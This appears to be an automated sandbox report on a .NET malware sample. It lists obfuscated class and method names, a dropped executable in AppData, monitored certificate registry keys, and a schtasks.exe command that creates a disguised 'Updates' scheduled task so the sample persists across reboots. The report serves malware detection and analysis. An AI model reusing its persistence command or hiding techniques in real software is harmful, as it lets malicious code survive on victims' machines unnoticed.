Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, dfeKHE6x5d31Kf9Po5.cs High entropy of concatenated method names: 'mOnsK0d6q0', 'DqGsu1u90G', 'o4CsOXYyHg', 'eKrOvvHast', 'c1VOzbauT2', 'mFTsFqcsGs', 'FsYsBQLujp', 'dqtsVChBae', 'SVFsqQkjjo', 'vlhseEFCYm'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, bmYmCFonUgDmn1KOk8U.cs High entropy of concatenated method names: 'ffQnd4FNuh', 'TurnrTyYTj', 'o1qnNr1BwG', 'Bf3nmkC38i', 'i0xn2TdNIA', 'yn5nCAAgX4', 'WCCnpWFTyu', 'FJnnQEO92w', 'mYjnDiyIO2', 'cI1nROqhDc'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, Ck9KUH03mPl1BXVZKg.cs High entropy of concatenated method names: 'MkLHIOM7fI', 'iddHM5IchS', 'z94H9hHlHQ', 'TMRHWmkHuc', 'XGqHooTbQX', 'JMrH4ud4VL', 'wXNHhGYLrT', 'GMPHaDNtqC', 'oEtHxDo8to', 'yP4HvHKHDF'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, I6JNUBSBDIKCNSl5LH.cs High entropy of concatenated method names: 'C1P7ZLyT15', 'DYl7Xcx8jW', 'mk37fJ1DjG', 'jS97U6kKJ0', 'IS37IjXGcR', 'uE47y1b0l0', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, c35RxChhngPqAk42Vr.cs High entropy of concatenated method names: 'fbmnBwxr9x', 'xUbnqNpN7q', 'ukfneCeKEO', 'LqOnKlJQ8k', 'w6DnHnMngQ', 'EVlnLuGCxJ', 'agVnO4rLVX', 'YcE7hifMQK', 'tCJ7amwGxX', 'RN87xQ0awb'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, RBoRtSQu7sDQrMTu3r.cs High entropy of concatenated method names: 'kEiOjHY6bj', 'vc8OHpHZoG', 'WtxOL18Md0', 'RUYOsag94X', 'q2cO3x3vCO', 'UYXLom85jr', 'vDQL4PO2hT', 'C5CLhChjvr', 'GuNLa8lbYw', 'cpXLxVooMk'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, Pc2Bo6lEd4fR2c4BCe.cs High entropy of concatenated method names: 'Dispose', 'CSQBxqKsWH', 'f1iVXck80l', 'V5M66Wy9ct', 'ib7BvWUWsI', 'F5hBzgT4Fp', 'ProcessDialogKey', 'IIWVFnPhSb', 'jkSVBEkrn8', 'XZSVV9MsFS'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, sL9ieooCXKnduqu9K7v.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'QnltIyLQBF', 'XRAtM1Frap', 'CNst98DlaE', 'wMFtWbbTp1', 't2EtoLh9hp', 'kP0t4g6tLF', 'hDythlwYhZ'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, TjrqVw3PJQ3Sx8WHOJ.cs High entropy of concatenated method names: 'ETJNMG6yZ', 'ppBmtpmIh', 'udTCPHIBy', 'xhhpA14RQ', 'rnTDsAPym', 'wvLRFUt3M', 'ibR8sMgLKa5KE1DOEg', 'yCdsmO1HgxTgnHa1AP', 'Chh7dswof', 'P5etyU6GP'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, YwRA9L1WpLER8u0VFY.cs High entropy of concatenated method names: 'xwZGEed6D4', 'lT6G13Jxli', 'aInGIbDHT1', 'VYvGMsoMX2', 'tDRGX2nX8o', 'aPrGfsCdue', 'jAcGUNadEk', 'yW5Gy463gO', 'NpqGAtW9qE', 'GFmGbJ9QG0'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, e4NXZjNjHV5vmgvMPk.cs High entropy of concatenated method names: 'NQfqjYYItI', 'bSHqKbercY', 'smbqHp1OGE', 'iFuqucVW1G', 'EAxqL0mDR5', 'L9MqOBoo0F', 'gS5qsfjqoF', 'q8Uq3kM9aX', 'TawqkDhVXe', 'clGqYypCHe'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, VsXexiPwgkdpkYOIjb.cs High entropy of concatenated method names: 'l0HJQHnmHw', 'z5xJDg1xyO', 'u2UJZxk3ea', 'NS6JX7AFVt', 'GERJUGvTCU', 'z3IJyU159l', 'PDVJbr1b07', 'zxdJ0u25j3', 'q3hJEy52iQ', 'QZGJTSD5ai'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, bH4LmEktTbgyfu1nmW.cs High entropy of concatenated method names: 'uY07K3Soa1', 'fUc7HVm16k', 'bKB7u9fMTv', 'PhB7LHxi21', 'dDx7Of7lpG', 'zRO7sM2DO2', 'wIZ73MBd7G', 'XdI7kcPpTh', 'ieK7YjtuTI', 'Y7c7cRjFtP'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, dnVFUnFdWwv7se0265.cs High entropy of concatenated method names: 'VgWumxXTHq', 'dTNuC724Eb', 'ogquQkF662', 'jhxuDbMsVI', 'onauGqT5Q7', 'uV3u8DLOfF', 'VLMuPpbuwY', 'sQlu7auoOr', 'LyCunWRm3B', 'wvautPo0Ef'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, khmUE4uXWX2TkVb03Y.cs High entropy of concatenated method names: 'ToString', 'Ls68Tg32Yh', 'Fsr8Xjt0vi', 'g6d8f1FuKC', 'iK08U3hCI6', 'PTt8ymY2Vl', 'n4S8ABTI4T', 'zic8bIHa3A', 'CBi807uIxp', 'nj08SLdBb8'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, J7KEIN8ETF49kcU0Zj.cs High entropy of concatenated method names: 'a2SBs9u0iD', 'uBoB3xPJjJ', 'DVsBYB7Q7s', 'of7Bcqu0jL', 'X9iBGOEkw4', 'qEKB8hljHK', 'Oran9tTESkTQ162TIk', 'fdNKdplnQCHcmbY9HP', 'pqpBBTSYhD', 'NfrBqHoBtS'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, PnSHUJG13oNu5hJSUf.cs High entropy of concatenated method names: 'bM4L2mwR3t', 'LXMLpM0xMl', 'q0AufFeork', 'qgMuUSLmxw', 'AO4uyjAfJk', 'XZKuARgrhm', 'ni7ubNT1y6', 'bs0u0pCOk9', 'ok0uSccUjk', 'WaGuEOfm0h'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, kNQSvGzjja851KY6JG.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'hm4nJjUnyZ', 'oIGnGJeknw', 'cvZn8qqbPQ', 'nDNnPGQYx7', 'Vy7n7G3Wbj', 'USAnn7KgDd', 'DClnt5vriC'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, m0Q6g3tGVDoEV2HkJB.cs High entropy of concatenated method names: 'V0EPalLMRw', 'rIXPvwwMXm', 'TkH7Fiac9X', 'JGv7BQRgOZ', 'ze3PTc1WwK', 'WrrP1dGMI6', 'OG6PwfQS7K', 'OU9PIb1StU', 'VNNPMCEBwu', 'VFlP9h9iJv'
Source: 0.2.SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe.379a470.1.raw.unpack, audrBvVO2OopYIUgn9.cs High entropy of concatenated method names: 'na0sd0QW37', 'kBHsr1JyR9', 'IQasNRy2RM', 'Y47smF98c0', 'uqCs2lRhOu', 'FtCsCR9rKh', 'bPdsppBNGu', 'PaAsQsRYGh', 'rvKsDOwipy', 'kPmsRrKp9b'
Drops PE files
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe File created: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Jump to dropped file

Boot Survival
barindex
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eFzAvsOm" /XML "C:\Users\user\AppData\Local\Temp\tmp9A0C.tmp"

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\eFzAvsOm.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
